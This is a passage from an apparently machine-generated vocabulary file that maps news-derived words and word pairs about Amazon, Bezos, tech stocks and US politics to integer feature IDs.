competition\": 171073,\n  \"largo bezos\": 171074,\n  \"bullet vanity\": 171075,\n  \"strategy allows\": 171076,\n  \"schiller flexner\": 171077,\n  \"avenatti accusations\": 171078,\n  \"amzn tries\": 171079,\n  \"service dumber\": 171080,\n  \"foreclosed\": 171081,\n  \"unconstitutional orders\": 171082,\n  \"sure according\": 171083,\n  \"aws knew\": 171084,\n  \"stock remaining\": 171085,\n  \"california blazes\": 171086,\n  \"la new\": 171087,\n  \"craig\": 171088,\n  \"2018 gasparino\": 171089,\n  \"metropolitan markets\": 171090,\n  \"weather events\": 171091,\n  \"hamilton proud\": 171092,\n  \"know follow\": 171093,\n  \"quick rise\": 171094,\n  \"spar\": 171095,\n  \"big purveyors\": 171096,\n  \"similar decision\": 171097,\n  \"disadvantage compared\": 171098,\n  \"really brings\": 171099,\n  \"centers run\": 171100,\n  \"significant changes\": 171101,\n  \"defrauding charitable\": 171102,\n  \"protective vest\": 171103,\n  \"wmt low\": 171104,\n  \"service revenue\": 171105,\n  \"bespending\": 171106,\n  \"crazies remark\": 171107,\n  \"ibrahim\": 171108,\n  \"locations today\": 171109,\n  \"naloxone\": 171110,\n  \"environment council\": 171111,\n  \"happen cramer\": 171112,\n  \"aravella simotas\": 171113,\n  \"queens building\": 171114,\n  \"d4a 1721086080\": 171115,\n  \"apart fairly\": 171116,\n  \"t5 s8i\": 171117,\n  \"arm intends\": 171118,\n  \"bernal musical\": 171119,\n  \"american manufacturing\": 171120,\n  \"neutral traditional\": 171121,\n  \"lawyer ian\": 171122,\n  \"usually fiction\": 171123,\n  \"travels business\": 171124,\n  \"controversies deserves\": 171125,\n  \"original fishin\": 171126,\n  \"expensive white\": 171127,\n  \"corp stated\": 171128,\n  \"writ large\": 171129,\n  \"slowing usps\": 171130,\n  \"dystopia\": 171131,\n  \"secretive health\": 171132,\n  \"york girl\": 171133,\n  \"amazon report\": 171134,\n  \"novel\": 171135,\n  \"better reason\": 171136,\n  \"stock popped\": 171137,\n  \"substantial pot\": 171138,\n  \"china takes\": 171139,\n  \"did release\": 171140,\n  \"trade short\": 171141,\n  \"aws cringely\": 171142,\n  \"fees bloomberg\": 171143,\n  \"1992\": 171144,\n  \"inc_override_url\": 171145,\n  \"concerns especially\": 171146,\n  \"shower gift\": 171147,\n  \"traditional political\": 171148,\n  \"warren called\": 171149,\n  \"rationale\": 171150,\n  \"protectionism financialization\": 171151,\n  \"time address\": 171152,\n  \"sabyasachi kundu\": 171153,\n  \"technology businesses\": 171154,\n  \"undeniable magnetism\": 171155,\n  \"date business\": 171156,\n  \"palantir runs\": 171157,\n  \"bw6ikjetds swb\": 171158,\n  \"movie scrooged\": 171159,\n  \"men homeless\": 171160,\n  \"irony ocasio\": 171161,\n  \"hear ye\": 171162,\n  \"meets amazon\": 171163,\n  \"remain positive\": 171164,\n  \"marks dr\": 171165,\n  \"phrase work\": 171166,\n  \"story michael\": 171167,\n  \"twitter_page\": 171168,\n  \"surprising connection\": 171169,\n  \"massive prepayments\": 171170,\n  \"nearly doubling\": 171171,\n  \"republican talking\": 171172,\n  \"headlines says\": 171173,\n  \"departmentofficials debating\": 171174,\n  \"shared quote\": 171175,\n  \"emenville subdivision\": 171176,\n  \"issue lubin\": 171177,\n  \"sociological stereotypes\": 171178,\n  \"trench coat\": 171179,\n  \"hire private\": 171180,\n  \"cargo charter\": 171181,\n  \"2018 know\": 171182,\n  \"job spicer\": 171183,\n  \"hastily departs\": 171184,\n  \"improve pay\": 171185,\n  \"profitable year\": 171186,\n  \"boockvar bleakley\": 171187,\n  \"hbo mega\": 171188,\n  \"dominance monopoly\": 171189,\n  \"stay democrat\": 171190,\n  \"critter\\u0430could\": 171191,\n  \"repair power\": 171192,\n  \"wide open\": 171193,\n  \"environmental parliamentary\": 171194,\n  \"bloomington\": 171195,\n  \"doorn marketwatch\": 171196,\n  \"company free\": 171197,\n  \"website hughes\": 171198,\n  \"encourages development\": 171199,\n  \"incomes caused\": 171200,\n  \"services paying\": 171201,\n  \"responsibility trump\": 171202,\n  \"invasion\": 171203,\n  \"providing consumers\": 171204,\n  \"brenberg carlson\": 171205,\n  \"2045\": 171206,\n  \"briefing papers\": 171207,\n  \"agenda porter\": 171208,\n  \"dominant question\": 171209,\n  \"new account\": 171210,\n  \"behemoths billionaire\": 171211,\n  \"heavenly\": 171212,\n  \"average 150\": 171213,\n  \"hannah montana\": 171214,\n  \"originally proclaiming\": 171215,\n  \"unions played\": 171216,\n  \"presidential power\": 171217,\n  \"resume\": 171218,\n  \"agency needs\": 171219,\n  \"america left\": 171220,\n  \"espn parent\": 171221,\n  \"mortgaging house\": 171222,\n  \"consultant emily\": 171223,\n  \"background objects\": 171224,\n  \"result catapulted\": 171225,\n  \"bennett richmond\": 171226,\n  \"work says\": 171227,\n  \"visibility\": 171228,\n  \"based catalog\": 171229,\n  \"fair open\": 171230,\n  \"larger giving\": 171231,\n  \"mansion\": 171232,\n  \"netflix announced\": 171233,\n  \"uber suv\": 171234,\n  \"hartnett chief\": 171235,\n  \"bezos spuriously\": 171236,\n  \"brand told\": 171237,\n  \"handouts\": 171238,\n  \"damaging issuethe\": 171239,\n  \"telling vladimir\": 171240,\n  \"nbsp nbsp\": 171241,\n  \"politicians getting\": 171242,\n  \"official measure\": 171243,\n  \"ellison wrote\": 171244,\n  \"reshoring\": 171245,\n  \"video_duration\": 171246,\n  \"sander\": 171247,\n  \"entr\\u00e9e\": 171248,\n  \"park service\": 171249,\n  \"gotten pass\": 171250,\n  \"favorite foils\": 171251,\n  \"told white\": 171252,\n  \"ucla leafy\": 171253,\n  \"soybean production\": 171254,\n  \"seniors\": 171255,\n  \"korea talks\": 171256,\n  \"basketball team\": 171257,\n  \"actual tax\": 171258,\n  \"apply privacy\": 171259,\n  \"looks terrific\": 171260,\n  \"form unions\": 171261,\n  \"stephanie cutter\": 171262,\n  \"providers constantly\": 171263,\n  \"27yrs\": 171264,\n  \"house dinner\": 171265,\n  \"establishment democrat\": 171266,\n  \"encouraging going\": 171267,\n  \"released aug\": 171268,\n  \"gestures\": 171269,\n  \"daily digest\": 171270,\n  \"rapid progress\": 171271,\n  \"assist new\": 171272,\n  \"run gene\": 171273,\n  \"fee examined\": 171274,\n  \"false\": 171275,\n  \"thingy alexa\": 171276,\n  \"shooter\": 171277,\n  \"praised story\": 171278,\n  \"soaring stock\": 171279,\n  \"drugs human\": 171280,\n  \"hunt right\": 171281,\n  \"sold yes\": 171282,\n  \"business owners\": 171283,\n  \"ronayne sent\": 171284,\n  \"consulting giant\": 171285,\n  \"boycottamazon pic\": 171286,\n  \"controversial policies\": 171287,\n  \"bum note\": 171288,\n  \"light bulb\": 171289,\n  \"85m financial\": 171290,\n  \"img_w\": 171291,\n  \"struck landmark\": 171292,\n  \"stinks\": 171293,\n  \"treason following\": 171294,\n  \"vehicles amazon\": 171295,\n  \"veteran television\": 171296,\n  \"solid proposals\": 171297,\n  \"rake\": 171298,\n  \"business having\": 171299,\n  \"brands clothing\": 171300,\n  \"protectionist moves\": 171301,\n  \"veto\": 171302,\n  \"playing field\": 171303,\n  \"pretty easy\": 171304,\n  \"quarter century\": 171305,\n  \"talkingtech\": 171306,\n  \"women accusing\": 171307,\n  \"consistently negative\": 171308,\n  \"won bore\": 171309,\n  \"legitimate candidate\": 171310,\n  \"surprise amazon\": 171311,\n  \"gary shilling\": 171312,\n  \"sketch unless\": 171313,\n  \"positive aspects\": 171314,\n  \"bad smell\": 171315,\n  \"apple appl\": 171316,\n  \"loot\": 171317,\n  \"exemptions\": 171318,\n  \"prosper\": 171319,\n  \"extensively process\": 171320,\n  \"pushed medication\": 171321,\n  \"hiv stigma\": 171322,\n  \"consistency\": 171323,\n  \"unfilled jobs\": 171324,\n  \"regulators oversight\": 171325,\n  \"discriminatory practices\": 171326,\n  \"standalone episode\": 171327,\n  \"unfair powers\": 171328,\n  \"upset despite\": 171329,\n  \"male dominated\": 171330,\n  \"days rout\": 171331,\n  \"investigation secret\": 171332,\n  \"cases facebook\": 171333,\n  \"fantasy female\": 171334,\n  \"sleeved version\": 171335,\n  \"make tax\": 171336,\n  \"amzn nke\": 171337,\n  \"pregnancy discrimination\": 171338,\n  \"york billionaire\": 171339,\n  \"quickly rippled\": 171340,\n  \"selected resource\": 171341,\n  \"repealed net\": 171342,\n  \"creative amazon\": 171343,\n  \"daring amazon\": 171344,\n  \"war impact\": 171345,\n  \"initiative application\": 171346,\n  \"cyber defenses\": 171347,\n  \"fixed location\": 171348,\n  \"msnbc willie\": 171349,\n  \"tells usabout\": 171350,\n  \"siu\": 171351,\n  \"reportedly turned\": 171352,\n  \"kline\": 171353,\n  \"impute ami\": 171354,\n  \"multi state\": 171355,\n  \"different society\": 171356,\n  \"led concurrent\": 171357,\n  \"possession receipt\": 171358,\n  \"approach amazon\": 171359,\n  \"eu countries\": 171360,\n  \"trouble suddenly\": 171361,\n  \"taoiseach\": 171362,\n  \"senator wrote\": 171363,\n  \"consumer loan\": 171364,\n  \"nastier\": 171365,\n  \"expanded competitors\": 171366,\n  \"bulger\": 171367,\n  \"controversies included\": 171368,\n  \"disappointing cloud\": 171369,\n  \"rightly notes\": 171370,\n  \"politi\": 171371,\n  \"potentially enter\": 171372,\n  \"government regulated\": 171373,\n  \"founder skip\": 171374,\n  \"presidency lifting\": 171375,\n  \"soon ami\": 171376,\n  \"relieved\": 171377,\n  \"romance novels\": 171378,\n  \"tax states\": 171379,\n  \"warner cnn\": 171380,\n  \"mistrust\": 171381,\n  \"having security\": 171382,\n  \"navarro\": 171383,\n  \"judkis\": 171384,\n  \"ryan begins\": 171385,\n  \"interview preview\": 171386,\n  \"stock index\": 171387,\n  \"billion founder\": 171388,\n  \"pecker known\": 171389,\n  \"aggressive bets\": 171390,\n  \"worst flop\": 171391,\n  \"dividing line\": 171392,\n  \"graham example\": 171393,\n  \"vokaw500vq daniel\": 171394,\n  \"reorganization\": 171395,\n  \"publicity failure\": 171396,\n  \"vet damon\": 171397,\n  \"moderator errol\": 171398,\n  \"collected statements\": 171399,\n  \"forecasts music\": 171400,\n  \"trump egoacid\": 171401,\n  \"course trump\": 171402,\n  \"california supreme\": 171403,\n  \"displaced people\": 171404,\n  \"adds state\": 171405,\n  \"switch\": 171406,\n  \"forrester\": 171407,\n  \"loggers cattle\": 171408,\n  \"stock starting\": 171409,\n  \"assemblywoman aravella\": 171410,\n  \"ogborn robin\": 171411,\n  \"adam schiff\": 171412,\n  \"2014 reported\": 171413,\n  \"deceptive marketing\": 171414,\n  \"106 degrees\": 171415,\n  \"russian operatives\": 171416,\n  \"chinese manufacturers\": 171417,\n  \"added colbert\": 171418,\n  \"growth slowing\": 171419,\n  \"choices ignore\": 171420,\n  \"fundraiser today\": 171421,\n  \"latest story\": 171422,\n  \"contenttype cta\": 171423,\n  \"spurt\": 171424,\n  \"commerce laws\": 171425,\n  \"_heatherfrost\": 171426,\n  \"100 disaster\": 171427,\n  \"christian legal\": 171428,\n  \"news cook\": 171429,\n  \"lowered\": 171430,\n  \"amazon runs\": 171431,\n  \"stocks heres\": 171432,\n  \"communist oops\": 171433,\n  \"post skirmish\": 171434,\n  \"dropkicks cnn\": 171435,\n  \"apurva\": 171436,\n  \"tech growth\": 171437,\n  \"including leftist\": 171438,\n  \"writing authority\": 171439,\n  \"droughts\": 171440,\n  \"mother emily\": 171441,\n  \"fy15 fy16\": 171442,\n  \"workplaces\": 171443,\n  \"great point\": 171444,\n  \"texas\": 171445,\n  \"yillion dollar\": 171446,\n  \"brexit extension\": 171447,\n  \"autos positive\": 171448,\n  \"mcsally just\": 171449,\n  \"arends\": 171450,\n  \"says establishing\": 171451,\n  \"ensure people\": 171452,\n  \"monarchy 2018\": 171453,\n  \"svp told\": 171454,\n  \"zealand herald\": 171455,\n  \"2017 concluded\": 171456,\n  \"rubenstein assured\": 171457,\n  \"prosecution based\": 171458,\n  \"options long\": 171459,\n  \"republicans offer\": 171460,\n  \"roman clark\": 171461,\n  \"peanut\": 171462,\n  \"assistant called\": 171463,\n  \"resources harder\": 171464,\n  \"heart monrovia\": 171465,\n  \"bleak british\": 171466,\n  \"dynamic forecasting\": 171467,\n  \"group posted\": 171468,\n  \"statewide matchups\": 171469,\n  \"600 page\": 171470,\n  \"rates appears\": 171471,\n  \"game company\": 171472,\n  \"proposed acquisition\": 171473,\n  \"orlando number\": 171474,\n  \"decline strong\": 171475,\n  \"j8i s8\": 171476,\n  \"recently met\": 171477,\n  \"el reg\": 171478,\n  \"willie nelson\": 171479,\n  \"comedian rebel\": 171480,\n  \"asian man\": 171481,\n  \"pittohio\": 171482,\n  \"important resources\": 171483,\n  \"story scrap\": 171484,\n  \"companies breitbart\": 171485,\n  \"secret war\": 171486,\n  \"jeff\": 171487,\n  \"enquirer spokesperson\": 171488,\n  \"don play\": 171489,\n  \"curved\": 171490,\n  \"unroll know\": 171491,\n  \"costs surrounding\": 171492,\n  \"pervades americans\": 171493,\n  \"blocked chip\": 171494,\n  \"papers complete\": 171495,\n  \"enhanced supervision\": 171496,\n  \"lesbian gay\": 171497,\n  \"hema supermarkets\": 171498,\n  \"twitterian wondered\": 171499,\n  \"barren\": 171500,\n  \"host lauren\": 171501,\n  \"fair labor\": 171502,\n  \"prime time\": 171503,\n  \"disconnecting\": 171504,\n  \"complicate comcast\": 171505,\n  \"mumtaz global\": 171506,\n  \"doozy semi\": 171507,\n  \"redirects public\": 171508,\n  \"industry pose\": 171509,\n  \"binge\": 171510,\n  \"ohanian talks\": 171511,\n  \"just wants\": 171512,\n  \"egregious example\": 171513,\n  \"v1 a4ee\": 171514,\n  \"sectors\": 171515,\n  \"nominee did\": 171516,\n  \"make major\": 171517,\n  \"deindustrialization\": 171518,\n  \"cocktails\": 171519,\n  \"voice city\": 171520,\n  \"walton family\": 171521,\n  \"games milkshakes\": 171522,\n  \"obfuscating\": 171523,\n  \"source nypost\": 171524,\n  \"ibm earnings\": 171525,\n  \"common 2018\": 171526,\n  \"challenges including\": 171527,\n  \"mid 1980s\": 171528,\n  \"opportunities versus\": 171529,\n  \"fifths amazon\": 171530,\n  \"duffell\": 171531,\n  \"nbc carol\": 171532,\n  \"walmart saw\": 171533,\n  \"reporters trump\": 171534,\n  \"tapper\": 171535,\n  \"pe\\u00f1a asserted\": 171536,\n  \"temporary weakness\": 171537,\n  \"keller\": 171538,\n  \"unforeseeable\": 171539,\n  \"nonprofit mailers\": 171540,\n  \"evaluating startup\": 171541,\n  \"story included\": 171542,\n  \"limited state\": 171543,\n  \"output tumbled\": 171544,\n  \"shock msnbc\": 171545,\n  \"debut ways\": 171546,\n  \"552\": 171547,\n  \"nomadix\": 171548,\n  \"homosexual\": 171549,\n  \"humanity federal\": 171550,\n  \"boris yeltsin\": 171551,\n  \"predetermined according\": 171552,\n  \"equaling\": 171553,\n  \"a5q t5q\": 171554,\n  \"texts tabloid\": 171555,\n  \"trump\": 171556,\n  \"135 000\": 171557,\n  \"rnc donna\": 171558,\n  \"ratings suck\": 171559,\n  \"shares surging\": 171560,\n  \"rev share\": 171561,\n  \"inflatable\": 171562,\n  \"dakota\": 171563,\n  \"aerospace traffic\": 171564,\n  \"0sxtpiypxh chris\": 171565,\n  \"trump thinking\": 171566,\n  \"powerhouses\": 171567,\n  \"instance began\": 171568,\n  \"trump aftershock\": 171569,\n  \"free stamps\": 171570,\n  \"mention james\": 171571,\n  \"reaches high\": 171572,\n  \"issued note\": 171573,\n  \"s1\": 171574,\n  \"office just\": 171575,\n  \"licensing rights\": 171576,\n  \"takes began\": 171577,\n  \"reports retailers\": 171578,\n  \"instance\": 171579,\n  \"reliable\": 171580,\n  \"auto stereos\": 171581,\n  \"control code\": 171582,\n  \"enquirer regularly\": 171583,\n  \"kids handprints\": 171584,\n  \"constraints resulted\": 171585,\n  \"survey reveals\": 171586,\n  \"report joe\": 171587,\n  \"wage announcement\": 171588,\n  \"hits year\": 171589,\n  \"pragmatists\": 171590,\n  \"insulin\": 171591,\n  \"speculation netease\": 171592,\n  \"joel schreurs\": 171593,\n  \"readers just\": 171594,\n  \"table evan\": 171595,\n  \"occasionally\": 171596,\n  \"company mcafee\": 171597,\n  \"clintonfrom\": 171598,\n  \"denying\": 171599,\n  \"screen controllers\": 171600,\n  \"retail target\": 171601,\n  \"olley amc\": 171602,\n  \"data driven\": 171603,\n  \"destroyer\": 171604,\n  \"analyst thank\": 171605,\n  \"south florida\": 171606,\n  \"llc reported\": 171607,\n  \"avenatti stole\": 171608,\n  \"discovers\": 171609,\n  \"watergate scandal\": 171610,\n  \"wasteful billing\": 171611,\n  \"laughs\": 171612,\n  \"fake facts\": 171613,\n  \"helping expand\": 171614,\n  \"headache 2018\": 171615,\n  \"2017 digital\": 171616,\n  \"thing elected\": 171617,\n  \"holds double\": 171618,\n  \"entourage\": 171619,\n  \"river basin\": 171620,\n  \"flippant\": 171621,\n  \"health know\": 171622,\n  \"oscars source\": 171623,\n  \"amazons jeff\": 171624,\n  \"twitter kyweise\": 171625,\n  \"secretive process\": 171626,\n  \"began selling\": 171627,\n  \"special thinking\": 171628,\n  \"regular column\": 171629,\n  \"amazon positions\": 171630,\n  \"second cashierless\": 171631,\n  \"preview cancel\": 171632,\n  \"precedents regarding\": 171633,\n  \"shirts amazon\": 171634,\n  \"areas just\": 171635,\n  \"undercover investigator\": 171636,\n  \"international migrants\": 171637,\n  \"biggest stock\": 171638,\n  \"tech petco\": 171639,\n  \"gain competitive\": 171640,\n  \"tech performance\": 171641,\n  \"brent schutte\": 171642,\n  \"investor alert\": 171643,\n  \"probably paid\": 171644,\n  \"clinton later\": 171645,\n  \"wallington\": 171646,\n  \"accolade new\": 171647,\n  \"directly accusing\": 171648,\n  \"scathing statement\": 171649,\n  \"watson feb\": 171650,\n  \"recognizable\": 171651,\n  \"complying\": 171652,\n  \"little aggressive\": 171653,\n  \"decades\": 171654,\n  \"track people\": 171655,\n  \"invites growing\": 171656,\n  \"president vladi\": 171657,\n  \"regular happy\": 171658,\n  \"seek legal\": 171659,\n  \"151\": 171660,\n  \"enterprise customers\": 171661,\n  \"fentanyl smuggled\": 171662,\n  \"wapo file\": 171663,\n  \"farm\": 171664,\n  \"corporate monopoly\": 171665,\n  \"scalzo european\": 171666,\n  \"montessori school\": 171667,\n  \"loss revenue\": 171668,\n  \"naming amazon\": 171669,\n  \"trump statue\": 171670,\n  \"amassed\": 171671,\n  \"revenue tops\": 171672,\n  \"business ultimately\": 171673,\n  \"merely small\": 171674,\n  \"tunisia\": 171675,\n  \"reach rmb30bn\": 171676,\n  \"2017 erik\": 171677,\n  \"cmcsa\": 171678,\n  \"greenfield claim\": 171679,\n  \"follows public\": 171680,\n  \"haaretz reported\": 171681,\n  \"scams 2018\": 171682,\n  \"theflashback\": 171683,\n  \"smaller european\": 171684,\n  \"despite information\": 171685,\n  \"r4ee o6\": 171686,\n  \"heavily regulated\": 171687,\n  \"feature live\": 171688,\n  \"stephen moret\": 171689,\n  \"tabloid published\": 171690,\n  \"impartial\": 171691,\n  \"ambassador twitter\": 171692,\n  \"alipay launched\": 171693,\n  \"significant progress\": 171694,\n  \"week episode\": 171695,\n  \"operating systems\": 171696,\n  \"workforce file\": 171697,\n  \"quaint\": 171698,\n  \"remind customers\": 171699,\n  \"fox source\": 171700,\n  \"provisions lower\": 171701,\n  \"w9x w9x\": 171702,\n  \"loves drawing\": 171703,\n  \"centralize\": 171704,\n  \"view national\": 171705,\n  \"trump stressed\": 171706,\n  \"smartphone users\": 171707,\n  \"americanbanker\": 171708,\n  \"donated\": 171709,\n  \"company getting\": 171710,\n  \"cookbooks\": 171711,\n  \"arrivals featuring\": 171712,\n  \"carted\": 171713,\n  \"wealth specifically\": 171714,\n  \"cra rules\": 171715,\n  \"principal taxes\": 171716,\n  \"make tom\": 171717,\n  \"justice kagan\": 171718,\n  \"quote william\": 171719,\n  \"review shipping\": 171720,\n  \"stories featured\": 171721,\n  \"movement alibaba\": 171722,\n  \"farmers want\": 171723,\n  \"vmworld\": 171724,\n  \"backlash russia\": 171725,\n  \"clear cut\": 171726,\n  \"reimbursed\": 171727,\n  \"anybody right\": 171728,\n  \"goodman mcgill\": 171729,\n  \"42nd\": 171730,\n  \"broadsheet readers\": 171731,\n  \"curated gift\": 171732,\n  \"departments odd\": 171733,\n  \"prevailing trade\": 171734,\n  \"listthese\": 171735,\n  \"acc\": 171736,\n  \"earnings estimate\": 171737,\n  \"mishap\": 171738,\n  \"street nyse\": 171739,\n  \"mmr\": 171740,\n  \"flags highly\": 171741,\n  \"ago wrote\": 171742,\n  \"colophon\": 171743,\n  \"looking civil\": 171744,\n  \"ruralism\": 171745,\n  \"brands created\": 171746,\n  \"provide apprenticeship\": 171747,\n  \"apple\\u00e2 airpods\": 171748,\n  \"accommodating new\": 171749,\n  \"amazon testing\": 171750,\n  \"rooting\": 171751,\n  \"skyrocketed\": 171752,\n  \"officer attempts\": 171753,\n  \"ballard celebrating\": 171754,\n  \"mongodb believes\": 171755,\n  \"technology rivals\": 171756,\n  \"bezos eclipsed\": 171757,\n  \"nyse teva\": 171758,\n  \"305 words\": 171759,\n  \"enlargement\": 171760,\n  \"photo chuck\": 171761,\n  \"cents higher\": 171762,\n  \"reveling\": 171763,\n  \"swan\": 171764,\n  \"new rights\": 171765,\n  \"york new\": 171766,\n  \"returns thanks\": 171767,\n  \"determined efforts\": 171768,\n  \"old cloud\": 171769,\n  \"numerous internet\": 171770,\n  \"protest 1361932001\": 171771,\n  \"actions trump\": 171772,\n  \"baxter bros\": 171773,\n  \"week guest\": 171774,\n  \"new releases\": 171775,\n  \"right protests\": 171776,\n  \"disembarked\": 171777,\n  \"cuse directed\": 171778,\n  \"finances amazon\": 171779,\n  \"pandora spotify\": 171780,\n  \"cohen told\": 171781,\n  \"amazon blocks\": 171782,\n  \"ripley\": 171783,\n  \"situations amazon\": 171784,\n  \"fool recommends\": 171785,\n  \"pf_rd_m\": 171786,\n  \"leave saudi\": 171787,\n  \"boss countered\": 171788,\n  \"entry points\": 171789,\n  \"class ares\": 171790,\n  \"technologies prevail\": 171791,\n  \"giants demonstrates\": 171792,\n  \"rapidly ahead\": 171793,\n  \"criterion\": 171794,\n  \"nervy\": 171795,\n  \"growing calls\": 171796,\n  \"unsubscribing\": 171797,\n  \"settled closely\": 171798,\n  \"just turkey\": 171799,\n  \"foods year\": 171800,\n  \"investment counsel\": 171801,\n  \"indisputable\": 171802,\n  \"prom date\": 171803,\n  \"faces heat\": 171804,\n  \"sent trump\": 171805,\n  \"house multiple\": 171806,\n  \"united talked\": 171807,\n  \"736 000\": 171808,\n  \"securities lawyer\": 171809,\n  \"alleged letter\": 171810,\n  \"page fantasia\": 171811,\n  \"behemoth hostile\": 171812,\n  \"past certain\": 171813,\n  \"owners enjoy\": 171814,\n  \"london creative\": 171815,\n  \"deforestation\": 171816,\n  \"fake trump\": 171817,\n  \"moya town\": 171818,\n  \"movement weinstein\": 171819,\n  \"day walkout\": 171820,\n  \"virtual private\": 171821,\n  \"does need\": 171822,\n  \"publisher links\": 171823,\n  \"chose trump\": 171824,\n  \"states rival\": 171825,\n  \"brandinglink\": 171826,\n  \"farenheit 451\": 171827,\n  \"560\": 171828,\n  \"sharpened\": 171829,\n  \"trial fda\": 171830,\n  \"states prime\": 171831,\n  \"travelex wants\": 171832,\n  \"smears\": 171833,\n  \"friends picture\": 171834,\n  \"grill facebook\": 171835,\n  \"employee work\": 171836,\n  \"matches uco\": 171837,\n  \"animated songs\": 171838,\n  \"overdose reversal\": 171839,\n  \"malicious websites\": 171840,\n  \"payments postal\": 171841,\n  \"hair snl\": 171842,\n  \"new recruits\": 171843,\n  \"vice president\": 171844,\n  \"market strategies\": 171845,\n  \"hold kavanaugh\": 171846,\n  \"appropriate steps\": 171847,\n  \"regular talk\": 171848,\n  \"920\": 171849,\n  \"wrote called\": 171850,\n  \"faa\": 171851,\n  \"federal employee\": 171852,\n  \"finance officer\": 171853,\n  \"coverage email\": 171854,\n  \"city board\": 171855,\n  \"ongoing white\": 171856,\n  \"lay\": 171857,\n  \"tech status\": 171858,\n  \"anthony pratt\": 171859,\n  \"technology trade\": 171860,\n  \"truly global\": 171861,\n  \"getty mysterious\": 171862,\n  \"insecure\": 171863,\n  \"particularly honored\": 171864,\n  \"alexa trump\": 171865,\n  \"dollar americans\": 171866,\n  \"partnerships\": 171867,\n  \"secretary james\": 171868,\n  \"added trump\": 171869,\n  \"powerhouses specifically\": 171870,\n  \"goods caught\": 171871,\n  \"halting\": 171872,\n  \"illness cnn\": 171873,\n  \"koch enterprises\": 171874,\n  \"tm success\": 171875,\n  \"crimes heightening\": 171876,\n  \"violates antitrust\": 171877,\n  \"rates greater\": 171878,\n  \"official government\": 171879,\n  \"bezos act\": 171880,\n  \"manywitnesses\": 171881,\n  \"caroline\": 171882,\n  \"blossom films\": 171883,\n  \"implies\": 171884,\n  \"avoiding federal\": 171885,\n  \"bhuvaneswar\": 171886,\n  \"unloaded\": 171887,\n  \"brennan asking\": 171888,\n  \"apparently security\": 171889,\n  \"win democratic\": 171890,\n  \"news subscribe\": 171891,\n  \"fastest startup\": 171892,\n  \"restaurant workers\": 171893,\n  \"motorheads\": 171894,\n  \"expects trump\": 171895,\n  \"having lot\": 171896,\n  \"priced competition\": 171897,\n  \"academic journalistic\": 171898,\n  \"advertising content\": 171899,\n  \"distributed nationally\": 171900,\n  \"mcfaul\": 171901,\n  \"puppets\": 171902,\n  \"561 bought\": 171903,\n  \"andrew mccabe\": 171904,\n  \"state submitted\": 171905,\n  \"changer\": 171906,\n  \"companies stifle\": 171907,\n  \"jk\": 171908,\n  \"article nearly\": 171909,\n  \"lawmakers wrangle\": 171910,\n  \"eventually installed\": 171911,\n  \"build global\": 171912,\n  \"megamillions jackpot\": 171913,\n  \"amazon added\": 171914,\n  \"neighborhood rezoning\": 171915,\n  \"time commitment\": 171916,\n  \"edexheimer bloomberg\": 171917,\n  \"highly\": 171918,\n  \"government postal\": 171919,\n  \"jordan rodgers\": 171920,\n  \"bezos swiftly\": 171921,\n  \"ruling holds\": 171922,\n  \"poa accepting\": 171923,\n  \"wing asshat\": 171924,\n  \"trump federal\": 171925,\n  \"fueled surge\": 171926,\n  \"h8 j8i\": 171927,\n  \"loon\": 171928,\n  \"monopolistic acquisition\": 171929,\n  \"follows yesterday\": 171930,\n  \"hour subway\": 171931,\n  \"bray continue\": 171932,\n  \"downtrodden\": 171933,\n  \"just hosting\": 171934,\n  \"obey\": 171935,\n  \"markets coca\": 171936,\n  \"cups\": 171937,\n  \"databases agents\": 171938,\n  \"oftentimes\": 171939,\n  \"tweets cause\": 171940,\n  \"projects coming\": 171941,\n  \"officials internet\": 171942,\n  \"surprising commerce\": 171943,\n  \"hosting managing\": 171944,\n  \"hush dealmaking\": 171945,\n  \"thanksgiving millions\": 171946,\n  \"faces backlash\": 171947,\n  \"lol heather\": 171948,\n  \"treating neurological\": 171949,\n  \"investors ahead\": 171950,\n  \"bezos punctures\": 171951,\n  \"nasdaq lower\": 171952,\n  \"ftc launched\": 171953,\n  \"tradition\": 171954,\n  \"standard language\": 171955,\n  \"process finally\": 171956,\n  \"compact\": 171957,\n  \"profane\": 171958,\n  \"corrupt practices\": 171959,\n  \"republican mossad\": 171960,\n  \"793\": 171961,\n  \"included legal\": 171962,\n  \"various amazon\": 171963,\n  \"gaetz escapes\": 171964,\n  \"help combat\": 171965,\n  \"deal effectively\": 171966,\n  \"twitter left\": 171967,\n  \"stays private\": 171968,\n  \"midterm elections\": 171969,\n  \"asking kids\": 171970,\n  \"constitution obama\": 171971,\n  \"ceo commissioner\": 171972,\n  \"cbmimwh0dhbzoi8vd3d3lmjiyy5jb20vbmv3cy93b3jszc11cy1jyw5hzgetndu5njg2mdbsaxlodhrwczovl3d3dy1iymmty29tlmnkbi5hbxbwcm9qzwn0lm9yzy92l3mvd3d3lmjiyy5jb20vbmv3cy9hbxavd29ybgqtdxmty2fuywrhltq1oty4nja2p2ftcf9qc192ptaumsn3zwj2awv3ptemy2fwpxn3axbl\": 171973,\n  \"fans say\": 171974,\n  \"producing shareholder\": 171975,\n  \"adventurous\": 171976,\n  \"solar\": 171977,\n  \"reptiles including\": 171978,\n  \"appropriate scrutiny\": 171979,\n  \"helena mont\": 171980,\n  \"personal criticism\": 171981,\n  \"803 shares\": 171982,\n  \"students learn\": 171983,\n  \"relatively apolitical\": 171984,\n  \"developer don\": 171985,\n  \"tknow\": 171986,\n  \"duo concluded\": 171987,\n  \"chain compromise\": 171988,\n  \"vir\": 171989,\n  \"morrison homes\": 171990,\n  \"bezos independently\": 171991,\n  \"founders resign\": 171992,\n  \"statement does\": 171993,\n  \"satellite corporate\": 171994,\n  \"robert fenner\": 171995,\n  \"gop presidential\": 171996,\n  \"read usa\": 171997,\n  \"biggest percentage\": 171998,\n  \"ellisonthe\": 171999,\n  \"selling online\": 172000,\n  \"senator recent\": 172001,\n  \"sell new\": 172002,\n  \"boston died\": 172003,\n  \"7tao\": 172004,\n  \"gardens\": 172005,\n  \"investor mentor\": 172006,\n  \"department announced\": 172007,\n  \"internet ultimately\": 172008,\n  \"tax authorities\": 172009,\n  \"controls fox\": 172010,\n  \"tracing\": 172011,\n  \"old master\": 172012,\n  \"hasn euro\": 172013,\n  \"outlet focused\": 172014,\n  \"especially baffling\": 172015,\n  \"risk groups\": 172016,\n  \"wildfires celebrities\": 172017,\n  \"especially notable\": 172018,\n  \"becker company\": 172019,\n  \"blockchain\": 172020,\n  \"subscribe follow\": 172021,\n  \"t9x z0\": 172022,\n  \"intelligence assets\": 172023,\n  \"sayers\": 172024,\n  \"boiled crime\": 172025,\n  \"heights near\": 172026,\n  \"113 shares\": 172027,\n  \"free consulting\": 172028,\n  \"98point6 ceo\": 